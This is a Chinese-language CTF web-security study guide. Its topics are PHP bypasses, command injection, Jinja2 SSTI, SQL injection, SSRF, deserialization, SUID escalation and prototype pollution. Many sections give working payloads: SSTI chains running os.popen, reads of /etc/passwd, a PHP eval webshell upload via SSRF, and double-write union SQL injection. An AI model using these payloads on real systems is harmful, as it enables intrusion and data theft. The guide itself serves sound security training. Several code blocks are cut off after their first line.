Web基础
Web基础(持续更新,暂定)
每个知识点后面都会附带若干例题进行讲解,覆盖基础到综合
刷题网站
https://www.polarctf.com/#/page/challenges POLAR靶场
题库 | NSSCTF NSS
BUUCTF在线评测 BUU
攻防世界 攻防世界
登录 春秋云镜(Web渗透)
CTFHub CTFhub
….
常用工具
maurosoria/dirsearch: Web path scanner Dirsearch目录扫描工具
[https://github.com/AntSwordProject/] 蚁剑
Windows版phpstudy下载 - 小皮面板(phpstudy) Phpstudy (用来展示运行php代码的结果)
发布 ·记事本加加/记事本加加 NotePad++
….
源码查看
基本查看+各个浏览器的快捷键(视情况可略过)
控制台+游戏
前端JS改变量值和JS部分审计(主要是CTF前端游戏部分)(结合最近五一的mini-LCTF)
Mini L-CTF 2025 - 西电 CTF 终端 GuessOneGuess Miniup
HTTP
改浏览器信息+改本地地址+改地址+VPN+POST/GET…..(视情况可略过)
[GDOUCTF 2023]EZ WEB | NSSCTF PUT
[MoeCTF 2021]Do you know HTTP | NSSCTF
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Begin of HTTP)
正则
介绍常见的正则表达式与语法
EasyPHP
例题为主
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Begin of PHP)
MD5比较:
1 | s878926199a |
数组可以绕过正则匹配
extract覆盖漏洞
数组也可以绕过strcmp比较
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!C!E!)
主要是一个md5的脚本:
1 | import hashlib |
[ 绕过 _
PHP伪协议
data 伪协议 格式:data://[<MIME-type>][;charset=][;base64],<data>
- MIME-type:指定数据的类型,默认是 text/plain。
- charset:指定数据的编码类型,如 utf-8。
- base64:如果使用 Base64 编码,则加上该标识。
- data:实际的数据内容。
text/plain 的具体含义
text/plain MIME 类型:
- 表示数据是普通文本文件,没有任何特定的格式或编码。
- 在 PHP 的文件包含漏洞中,当使用 data://text/plain 时,PHP 会将数据视为纯文本进行读取。
- 但是,如果该文本数据本身是 PHP 代码(如
<?php system('ls'); ?>
),且它被 include()、require() 等函数加载,那么它会被当作 PHP 代码解析和执行。
data://text/plain 的实际作用
在 LFI 漏洞中使用 data://text/plain 可以让我们通过 URL 注入 PHP 代码,并且这些代码会在服务器端执行。
示例:执行系统命令
URL:
?file=data://text/plain,<?php system('ls'); ?>
解释:
- data:// 告诉 PHP 加载内联数据。
- text/plain 表示数据是纯文本类型,但在通过 include() 加载时,PHP 会解析文本中的代码片段(如
<?php system('ls'); ?>
),并将其执行。
RCE
从简单到难(基础例题示例如下,还会增加难度的)
概念
RCE,即远程代码执行(Remote Code Execution),远程命令/代码执行漏洞,简称为RCE漏洞,可以直接向服务器后台远程注入操作系统的命令或者代码,从而拿到服务器后台的权限。RCE分为远程执行命令(执行ping命令)和远程代码执行eval
(这边插入一个各种绕过.md)
RCE命令注入分类
- 无过滤
- 过滤cat
- 过滤空格
- 过滤目录分隔符
- 过滤运算符
- 综合过滤练习
(1)无过滤简单命令拼接
CTFHUB
1 | <?php |
就是个简单的命令拼接(127.0.0.1;ls)
Shell 提供了多种方式来分隔命令,分号就是其中一种。它的作用是告诉 Shell,将分号前后的命令依次执行,而不考虑前一条命令是否执行成功 。例如,在命令 “ping -c 4 127.0.0.1;ls /
” 中,Shell 先执行 “ping -c 4 127.0.0.1
” 命令,不管这个命令是成功(返回 0)还是失败(返回非 0 值),都会接着执行 “ls /
” 命令
- Enter(换行符)
- && 前一条命令执行成功(返回值为 0)时,才会执行后一条命令
- 双管道符(||)前一条命令执行失败(返回值非 0)时,才会执行后一条命令
- 管道符(|) 将前一条命令的输出作为后一条命令的输入
1 | ls / | grep "txt" # 列出根目录下包含 "txt" 的文件 |
尖括号( < 和 > )
特点:
>
:将命令输出重定向到文件(覆盖)。>>
:将命令输出追加到文件。<
:将文件内容作为命令的输入。E.G:
1
2ls / > output.txt # 将 ls 的输出保存到 output.txt
sort < input.txt # 将 input.txt 的内容作为 sort 的输入
NCTF2024
payload:
127.0.0.1 --eval eval("__import__('os').system('echo$IFS$FLAG>>demo')")
--eval
用于在命令行上直接执行一段脚本代码
…..
…..
(2)过滤命令
ezRCE
1 |
|
八进制绕过
知识点:linux中使用$’xxx’(xxx为字符的八进制)的形式可以执行任意代码
1 | '\154\163' //执行ls |
发现可以成功执行
但是八进制的执行方法不能执行带有参数的linux命令,如cat /flag(/flag为参数)或ls -la(-la为参数)
重定向符号可以代替命令中的空格
最终payload
1 | '\143\141\164'<$'\57\146\154\141\147' // cat</flag |
[BUUCTF在线评测](https://buuoj.cn/challenges#[红明谷CTF 2021]write_shell) Write_shell
1 |
|
payload:
1 | ?action=upload&data=<?echo%09`ls%09/`?> |
因为题目中过滤了php,所以用php短标签来绕过<?= ?>
等效于<?echo ?>
1 | $_SERVER['REMOTE_ADDR']; |
输出访问者的IP地址
(3)回溯限制
[NISACTF 2022]middlerce | NSSCTF
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit : 1000000
当回溯次数超过100万次时,preg_match返回的就是false,表示此次实行失败(超出限制)
所以我们可以通过发送超长字符串来使正则执行失败,绕过对php的限制
1 | import requests |
(4)无回显RCE(利用http标头)
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!!C!!E!!) R!!C!!E!!
(5)无回显RCE(只允许用特殊字符)
(6)无回显RCE(写文件到其他地方)
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!!!C!!!E!!!)
文件包含
include和file_get_content
文件上传
[CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客](https://blog.csdn.net/qq_65165505/article/details/141370798#:~:text=在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。,将一个正常显示的图片,上传到服务器。 寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。)
(1)普通php/phtml文件上传
(2)通过burpsuite拦截抓包更改后缀
攻防世界
就是个简单的拦截改成后缀为php
(3)通过.htaccess或者user.ini进行文件上传
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Upload again!) 运用.htaccess
(4)通过文件名传马
[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 总决赛 Day2 Web1]Easyweb)
SSTI
1 | 因为hexo的关系,这里不在代码块外的{{}}统一换成{{...}} |
(1)原理
CTF web漏洞合集 Python篇(1)python中的SSTI - LamentXU - 博客园
Python SSTI漏洞学习总结 - Tuzkizki - 博客园
介于jinja2出现的非常多,就只看看jinja2
先看这个包浆的图片()
可以知道49如果回显是49(也就是执行了里面的命令)的话,就说明存在SSTI
然后可以再试NaN,如果还是49就可以下判断了,但是一般题目就是前一步可以直接下结论是jinja2内部存在的SSTI
那么什么是jinja2?
Jinja 模板只是一个文本文件,可以 基于模板生成任何基于文本的格式(HTML、XML、CSV、LaTeX 等),一般用在前端的项目中,渲染 HTML 文件
模板包含变量或表达式,这两者在模板求值的时候会被替换为值。模板中还有标签,控制模板的逻辑。模板语法的大量灵感来自于 Django 和 Python
基本语法:
1 | 语句 {% ... %} |
常用的语句包括:for、if、set、include、block、filter 等
变量通过传递字典来进行使用,当使用 for 语句的时候,变量可以是列表
创建和渲染模板的最基本方法是通过 Template
,通过创建一个 Template
的实例,
会得到一个新的模板对象,模板对象有一个 render()
的方法,该方法在调用 dict
或 keywords
参数时填充模板
E.g
1 | from jinja2 import Template |
结果就是
hello 111
成因:
欸但是一般代码中不带这个{{...}}
,就会出现:
1 | from flask import Flask, request, render_template_string |
或者
1 | from flask import Flask, request, render_template_string |
再或者
1 | from jinja2 import Template |
这边你正常传入一个字符串,就是正常显示的,但是当你传入一个{{7*7}}
,结果就是会变成49,这是因为{{...}}
被渲染到Template里了,这点在上面的jinja2语法中有所体现
然后传入49
那么我们知道了可以传入{{...}}
进而被Template渲染后,我们就可以尝试干两件事:获取信息和RCE
我们先看获取一些信息这边
比如查看一些什么config和env
1 | {{config}} # 获取config,包含flag |
给个源码方便你们也可以试试()
1 | from jinja2 import Template |
然后我们直接 ?name={{config}}
可以看到
再看看 {{request.environ}}
如果是想进行RCE的话,那就需要os库,但是肯定不会傻到内置os库给你用的,所以就需要你自己导入一个os库,使用system或者popen这种危险函数来读取
然后就有思路:
- 使用万能的对象(比如字符串对象’’)-> 子类 -> 基类 -> 危险类的危险函数(大多数情况)
- 直接使用代码中定义的对象(包括已经导入的库)所包含的危险子类中的危险函数(R3CTF 2024 web jinjaclub wp - LamentXU - 博客园)
这里说是“万能的对象”,其实大多数情况下,最好用最经典的还是字符串对象’’,当然[]这些对象也是可以的
python中每个对象都有个属性__class__
,用于返回该对象所属的类。而我们要做的,就是获取到object基类
使用''.__class__
我们就完成了第一步,即,获取到一个字符串对象
[]
和{}
也可以
还有:
__bases__
:以元组的形式返回一个类所直接继承的类
__base__
:以字符串形式返回一个类所直接继承的类
__mro__
:返回解析方法调用的顺序
__subclasses__()
: 是一个特殊方法,用于获取某个类的所有直接子类
__init__
:所有自带带类都包含init方法,便于利用他当跳板来调用globals
function.__globals__
:用于获取function所处空间下可使用的module、方法以及所有变量
['__builtins__']
:从全局变量字典中获取内置模块的引用
- 通过
__builtins__
访问eval()
或exec()
函数来执行恶意代码 - 使用
__builtins__
中的open()
函数来读取或写入文件 - 利用
__builtins__
中的__import__()
函数来动态导入其他模块,比如os
或sys
,然后执行系统命令
__import__
:导入模块
__getitem__
:提取元素
比如:
1 | print("".__class__.__bases__) |
""
:创建一个空字符串__class__
:访问该空字符串的类。对于字符串对象,其类是str
__bases__
:访问str
类的基类。对于内置类型,str
类的基类是object
这三个属于获取基类的办法。获取到object基类之后,因为这个基类的子类是这个python程序目前的所有类,所以可以直接找到我们要的os(是基类的一个子类)
使用"".__class__.__bases__
或"".__class__.__mro__[1]
或"".__class__.__base__
我们就完成了第二步,即,获取到了object基类
我们看这个:
1 | print("".__class__.__mro__[1].__subclasses__()) |
- 获取空字符串的类:
"".__class__
返回str
类 - 获取
str
类的继承顺序:__mro__
返回一个元组,列出str
类及其基类的顺序 - 获取
str
类的直接基类:[1]
取出__mro__
元组中的第二个元素,即object
类 - 获取
object
类的所有直接子类:调用__subclasses__()
方法
这样打印出来的结果就是object下的所有子类
现在我们要进行RCE的话
我们要做的,是找到使用os的内置类。那这可多了,这里可以fuzz出(由python环境改变而改变,可以直接bp数字爆破一下)如果没有的话,也可以找一些可以读取文件的内置类,那么warnings.catch_warnings类 可就成重灾区了(有很多其他的)
我们发现object基类的__subclasses__()中 <type ‘warnings.catch_warnings’> 的索引值为138(随环境改变而改变),导入他后直接导入os并RCE即可,你去找os._wrap_close
也可以
1 | {{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("tac flag").read()')}} |
也可以稍微拼接绕过一下
1 | {{[].__class__.__base__.__subclasses__()[138].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}} |
当然,你也可以找到其他调用了os的内置类,利用__init__
和function.__globals__
来调用内置类中os类的方法,如subprocess.popen:
1 | {{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}} |
有用的python内置类有很多,这里贴一个脚本,可以直接把subclass出来的东西放data里帮你检测有用的类的索引
1 | import re |
做题流程也很明确了:确定好要用SSTI打RCE之后用burp(payload:"".__class__.__mro__[1].__subclasses__()
)fuzz服务器找os或者file,然后读取文件或RCE
总结一下就是:先找object基类,然后subclasses出所有的类(就应该是一大坨玩意)然后放上面那个脚本里跑索引。找到能用的类之后去网上找这个类对应的payload打就完了)
(2)Bypass
过滤了两个大括号
可以直接{%print()%}
替代,上文有介绍,与{{...}}
同等效果,想看回显可以
1 | {%print(7*7)%} |
也可以使用flask控制语句{%...%}
以{%end%}
结尾(括号内可控制语句,定义变量,写循环判断)
于是使用
1 | {%if().__class__%}123{%endif%} |
如果__class__
类下存在内容就输出123
你甚至可以用循环来查找可以用的类
1 | {% for c in. class.base_subclasses () %}{% if c.__name__=='catch warnings'%}{{c.__init__.__globals__['__builtins__'] .eval('__import__("os").popen("<command>").read()')}}{% endif%}{% endfor %} |
字符串拼接
1 | "__glo"+"bal__" == "__global__" |
过滤了 .
[]
替代
1 | a.b == a['b'] |
request.args逃逸
如果题目中没有过滤request,则可以将一些含有敏感字符的位置用get传,再在SSTI中用request.args.arg1逃逸到get参数里去
1 | request.args.name |
GET (用request.args)
1 | {{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd |
POST (用request.values)
1 | {{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}} |
过滤了 []
.getitem
1 | tuple[0] == tuple.getitem(0) |
.pop
1 | __subclasses__()[128] = __subclasses__().pop(128) |
E.g
1 | # 原payload,可以使用__base__绕过__bases__[0] |
pop
是列表的一个方法,用于移除列表中的元素并返回该元素。这里 pop(128)
表示从列表中移除并返回索引为 128 的元素
过滤了 config
1 | # 绕过,同样可以获取到config |
用内置函数
1 | {{url_for.__globals__['current_app'].config}} |
过滤了__init__
用__enter__
或者__exit__
替代
1 | {{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}} |
过滤了os
可以使用翻转字符的方法,比如
1 | __import__('so'[::-1]).popen |
这跟__import__('os').popen
等效
编码过滤
1 | # 以下皆为 ""["__class__"] 等效形式 |
实战下就可以是:
1 | {%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%} |
(∞)一些高端的
展示些高端玩法()
内置类 Undefined
在渲染().__class__.__base__.__subclasses__().c.__init__
初始化一个类时,此处由于不存在c类理论上应该报错停止执行,但是实际上并不会停止执行,这是由于Jinja2内置了Undefined类型,渲染结果显示为<class 'jinja2.runtime.Undefined'>
,所以看起来并不存在的c类实际上触发了内置的Undefined类型
可用payload:
1 | a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read() |
过滤器
Template Designer 文档 — Jinja 文档 (3.2.x)
在 Jinja2 中,过滤器(Filters)用于对变量进行转换或格式化。过滤器可以用来修改变量的值,使其符合特定的格式或需求。过滤器在模板中使用管道符号 |
进行应用,可以链式调用多个过滤器
假设我们有以下模板变量:
1 | from datetime import datetime |
常用过滤器
**
default
**:为变量提供默认值1
{{ undefined_variable|default("No value") }} {# 输出:No value #}
**
length
**:获取列表或字符串的长度1
{{ items|length }} {# 输出:3 #}
**
lower
、upper
、title
**:转换字符串的大小写1
2
3{{ name|lower }} {# 输出:mihoyo #}
{{ name|upper }} {# 输出:MIHOYO #}
{{ name|title }} {# 输出:miHoYo #}**
join
**:将列表元素连接成字符串1
{{ items|join(", ") }} {# 输出:zzz, starrailway, genshin #}
**
replace
**:替换字符串中的子串1
{{ "Hello World"|replace("World", "Jinja2") }} {# 输出:Hello Jinja2 #}
**
format
**:格式化字符串1
{{ "Price: %.2f"|format(price) }} {# 输出:Price: 42.50 #}
**
select
、reject
**:选择或排除列表中的元素1
2{{ items|select("startswith", "z")|list }} {# 输出:['zzz'] #}
{{ items|reject("endswith", "z")|list }} {# 输出:['starrailway', 'genshin'] #}**
date
**:格式化日期1
{{ now|date("%Y-%m-%d %H:%M:%S") }} {# 输出:当前日期和时间 #}
多个过滤器链式调用
1 | {{ items|length|default(0) }} {# 如果 items 是 None 或空的,输出 0 #} |
这里我们着重看看 set 和 attr()
set
set
过滤器在 Jinja2 中用于定义和赋值变量
先来看
1 | {% set one = dict(c=a) | join | count %} |
dict(c=a)
- 作用:创建一个字典,键是字符串
"c"
,值是变量a
- 示例:如果
a
的值是"test"
,那么dict(c=a)
的结果是{"c": "test"}
那我们可以用这个构造:
1 | {% set a = dict(po=a,p=a)|join %} {# 构造 'pop' #} |
当然你要是构造不出 _
可以直接入手找 _
1 | {%set one=dict(c=a)|join|count%} |
数数看看_
在第几个,然后拼接
1 | 拼接数字为24 |
其余情况可以构造一个链:
1 | {% set a = dict(po=a,p=a)|join %} {# 构造 'pop' #} |
lipsum.__globals__['os'].popen('ls').read()
attr()
当某些字符如点号 (.
)、中括号 ([]
) 或引号被过滤时
1 | {{ ''|attr('__class__') }} # 相当于 {{ ''.__class__ }} |
链式调用
1 | {{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(77) }} |
lipsum
lipsum
是一个全局的函数或变量,它通常用于生成随机文本,但在 SSTI 攻击中,它也可以被用来获取内置模块或函数
ipsum.__globals__
是一个字典,包含了在 lipsum
函数定义时的全局变量。在 Jinja2 模板中,如果 lipsum
存在,攻击者可以利用它来访问全局变量,如 __builtins__
、os
等模块
比如:
1 | {{ lipsum.__globals__['os'].popen('ls').read() }} |
使用 popen
方法执行命令 ls
,并调用 read()
方法读取输出
1 | {{ lipsum.__globals__.__builtins__.__import__('os').popen('ls').read() }} |
通过 __import__
函数导入 os
模块,进而执行命令
那么结合一下前面的内容可以字符串拼接绕过
1 | {%print(lipsum['__glo'+'bals__']['__bui'+'ltins__']['__imp'+'ort__']('so[::-1]')['po'+'pen']('ls').read())%} |
或者使用attr
过滤器访问:
1 | {{ lipsum|attr('__globals__')|attr('__builtins__')|attr('__import__')('os')|attr('popen')('ls')|attr('read')() }} |
url_for、get_flashed_messages
这是flask内置的两个全局函数,两个都用__globals__
键
1 | # flask |
bytes
python3新增了bytes类,用于代表字符串,其fromhex()方法可以将十六进制转换为字符串
payload
1 | # ""[__class__] |
奇妙的思路
1 | {%print(self.__dict__._TemplateReference__context.keys())%} |
语句获取已经载入内存中的Flask内置函数
然后可以利用 lipsum
1 | {%print(lipsum.__global__['os']['popen']('more /f*').read())%} |
(∞)一些不用动脑的
Fenjing大法
(3)基础例题
RUST下的SSTI
1 | {%set my_var = get_env(name="FLAG") %}{{my_var}} |
[HNCTF 2022 WEEK2]ez_SSTI | NSSCTF
参数是name,测试得出模板是jinja2
。
{{''.__class__.__bases__[0].__subclasses__()}}
用这个找到os._wrap_close
类。定位到了137
然后
1 | {{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__}} |
查找用没有popen函数
发现有
则payload:
1 | ?name={{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}} |
(4)综合绕过
攻防世界 Web_python_template_injection
{{[].__class__.__base__.__subclasses__()[138].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{[].__class__.__base__.__subclasses__()[138].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('tac f14g').read()")}}
LitCTF 2025]星愿信箱 | NSSCTF
SSTI
SQL
判断字段数:
- order by
information_schema数据库
- schemata: 保存当前整个服务器所有的数据库信息 库名
- tables: 保存当前整个服务器所有的数据表的信息 表名 table_name
- columns: 保存当前整个服务器所有的字段信息 字段名
- group_concat: 去重
(1)联合查询
攻防世界 NewsCenter
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()#
//news secret_table
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'secret_table'#
//id f14g
1' union select 1,2,group_concat(fl4g) from secret_table#
// QCTF{sq1_inJec7ion_ezzz}
[BUUCTF在线评测](https://buuoj.cn/challenges#[极客大挑战 2019]BabySQL) Baby SQL(双写绕过)
试列数:/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23
(这个URL编码是#)
爆数据库:/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
爆表:/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23
查字段名:/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23
/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23
PS: (双写绕过)
因为在过滤过程中只进行了一次替换。就是将关键字替换为对应的空。
比如 union在程序员处理时被替换为空,那需要我们可以尝试把union改写为 ununionion ,这样红色部分替换为空,则剩下的依然为union还可以结合大小写过滤一起使用
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]ez_sql) EZ_sql(大小写绕过)
Payload:
1 | import requests |
(2)时间盲注
1 | import requests |
(3)布尔盲注
[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 华北赛区 Day2 Web1]Hack World)
XXS
(1)存储型
(2)反射型
(3)DOM型
XXE和SSRF
主要是提一下原理和模板
SSRF
[BUUCTF在线评测](https://buuoj.cn/challenges#[HITCON 2017]SSRFme)
1 | http://c9f6fe87-ec4b-42d3-9b16-a372427cc0a0.node5.buuoj.cn:81/?url=data:text/plain,%27%3C?php%20@eval($_POST[%27capt%27])?%3E%27&filename=upload/test.php |
蚁剑连接即可
目录穿越
主要是../../,但包含php和python的目录穿越
反序列化
(1)一些函数
__call()
调用一个不存在的方法时,会触发 __call()
魔法方法
1 | class Example |
假设我们有一个类 Example
,其中定义了 __call()
方法,没有定义 someNonExistentMethod()
,直接调用 someNonExistentMethod()
就会触发 __call()
(2)php一般反序列化
攻防世界 Web_php_unserialize
1 |
|
(3)php-Pop链
ISCC2025区域赛 想犯大吴疆土吗
1 |
|
构造Payload
- 设置
TieSuoLianHuan
的yicheng
为 php://filter/convert.base64-
encode/resource=flag.php (需URL编码)
- 将
TieSuoLianHuan
实例赋值给GuDingDao
的desheng
- 将
GuDingDao
实例赋值给Jie_Xusheng (B)
的 jiu 属性 - 将
Jie_Xusheng
(B) 作为Jie_Xusheng (A)
的 sha 属性 - 序列化对象A,确保属性命名和类名正确。
[LitCTF 2025]君の名は | NSSCTF
1 | ArrayObject::unserialize |
POC:
1 |
|
(4)Phar反序列化
[文件上传与Phar反序列化的摩擦_nssround#4 swpu]1zweb(revenge)-CSDN博客
php -d phar.readonly=0 class5.php
(核心出装)
1.ezphar
1
2.bypass
[NSSRound#4 SWPU]1zweb | NSSCTF
POC:
1 |
|
修复签名:(修改了类型数量)
1 | from hashlib import sha256 |
kali自带gzip压缩后更改为白名单后缀上传
访问phar://upload/3.png
(4)Pickle反序列化
反弹shell
主要介绍bash的反弹
SUID提权
1 | find /-user root -perm-4000 -print 2>/dev/null |
什么是SUID?
Linux下文件权限分为 r4 w2 x1分别对应可读,可写,可执行
- 当 SUID 位被设置在一个可执行文件上时,该文件在执行期间,进程的有效用户 ID(EUID)会被设置为该文件所有者的用户 ID。例如,一个属于 root 用户的文件,如果设置了 SUID 位,当普通用户执行这个文件时,这个执行进程的 EUID 就是 root
- 有效用户 ID 决定了进程在执行过程中对系统资源访问的权限。这就意味着,如果一个程序需要更高权限(通常是 root 权限)才能完成某些特定的操作,通过设置 SUID 位,普通用户在运行这个程序时也能临时获得该程序所有者的权限来执行这些操作
root权限一般是3位,就比如说是什么644(所属者-所属组-other)
而sudo的权限可以是4位比如7644
然后就是SUID文件只作用于二进制文件
XSleaks
简介+原理(利用条件)+例题
原型链污染
原理
Python原型链污染从基础到深入 - Rycarls little blog
Python原型链污染变体(prototype-pollution-in-python) - Article_kelp - 博客园
JavaScript原型链污染原理及相关CVE漏洞剖析 - FreeBuf网络安全行业门户
Python JavaScript
Python原型链污染
1
JavaScript原型链污染
__proto__
是 JavaScript 中一个对象属性,用于访问该对象的原型对象
__proto__
可以用于手动改变对象的原型,例如,当你想让一个已有的对象继承另一个对象的属性和方法时,可以使用它来改变原型
例题
NCTF2025 ea_dash
1 | ''' |
Mini L-CTF 2025 - 西电 CTF 终端 Clickclick
源码拉到最下面可以看到:
1 | Qt(o, i => { |
就能知道10000次以后会输出textContent的内容(实在不行也可以直接丢个AI的,试过是可以分析出来10000次后面输出这个的)
然后看到:
1 | function wn(t, e) { |
这里每点击50次会向/update-amount发一次包,更新后端数据,而且这里更新不是add而是set,又结合 if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount },可以看到amount一开始就是0或者是已经被删除了,而且这个路径看起来很像原型链污染,那么想要改变他的值可以尝试污染amount的值,让他变成10000
那么怎么知道原链呢,看看事件监听器那边的click
1 | { |
[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]OtenkiGirl) OtenkiGirl
1 | { |
[LitCTF 2025]多重宇宙日记 | NSSCTF
源码:
1 | <script> |
提示键值在setting下,又需要管理员权限,所以payload:
1 | {"settings": {"isAdmin": true}} |
[BUUCTF在线评测](https://buuoj.cn/challenges#[DASCTF 2023 & 0X401七月暑期挑战赛]EzFlask) EzFlask
开头直接给源码:
1 | import uuid |
看到这一段:
1 | def merge(src, dst): |
很明显的python的原型链污染
payload:
1 | {"username":"123","password":"123","\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F":{"__globals__":{"__file__":"../../../proc/1/environ"}}} |
(其中__init__
用unicode编码了一下,其实你也可以将其他的也编码)
在注册页面污染后,GET访问首页就可以了
Python代码审计综合
主要配合例题讲解(每道例题会综合一下上面部分知识点)
[BUUCTF在线评测](https://buuoj.cn/challenges#[watevrCTF-2019]Pickle Store) Pickle store